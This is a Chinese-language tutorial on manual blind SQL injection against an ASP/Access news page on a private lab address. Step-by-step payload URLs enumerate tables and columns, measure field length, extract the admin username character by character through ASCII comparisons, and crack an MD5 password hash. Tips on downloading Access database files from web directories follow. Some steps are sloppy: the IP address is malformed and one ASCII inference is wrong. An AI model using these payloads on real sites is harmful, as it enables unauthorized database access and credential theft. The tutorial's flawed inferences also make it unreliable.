手工找注入点
漏洞链接地址为:http://192.168.60.85:92/news_view.asp?id=5分别提交“and 1=1”和"and
1=2"返回不同页面,说明存在注入漏洞


猜解数据库表名和字段
首先来猜解数据库表名,提交如下网址。
http://192.168.0.60.85:92/news_view.asp?id=5andexists(select * from users)

返回错误信息,说明users表不存在,继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5and exists(select* from admin)
还是返回错误信息,说明admin表不存在,继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5andexists(select * from administrator)
返回正常页面,说明存在administrator表

继续猜测字段并提交。
http://192.168.0.60.85:92/news_view.asp?id=5 and exists(select username from administrator)
返回错误信息,说明不存在username字段,继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5 and exists(select user_name from administrator)
返回正常页面,administrator表中存在字段user_name

存在user_name字段与不存在对比
再提交:http://192.168.0.60.85:92/news_view.asp?id=5 and exists(select password from administrator)
返回正常页面,说明administrator表中存在字段password

猜解字段长度
再继续猜测第一个字段内容长度。
http://192.168.0.60.85:92/news_view.asp?id=5 and (select top 1 len(user_name) from administrator)>1//正常
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 len(user_name) from administrator)>4 //正常

http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 len(user_name) from administrator)>5 //报错
说明administrator表中的user_name 字段长度为5

猜解字段内容
现在猜解字段内容并提交。
http://192.168.0.60.85:92/news_view.asp?id=5and (selecttop 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 asc(mid(user_name,1,1)) from administrator)>500 //返回错误页面
说明字段对应的ASCll值在0和500之间。继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 asc(mid(user_name,1,1)) from administrator)>100 //返回错误页面
说明字段对应的ASCll值在0和100之间。继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 asc(mid(user_name,1,1)) from administrator)>90 //返回正常页面
说明字段对应的ASCll值在90和100之间。继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 asc(mid(user_name,1,1)) from administrator)>96 //返回正常页面
说明字段对应的ASCll值在96和100之间。继续提交。
http://192.168.0.60.85:92/news_view.asp?id=5and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。

用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:
[user_name]:admin
[password]:21232f297a57a5a743894a0e4a801fc3
可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin
小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
php+mysql
数据库存储在数据库安装路径下,后缀格式myi,myd,frm
网友评论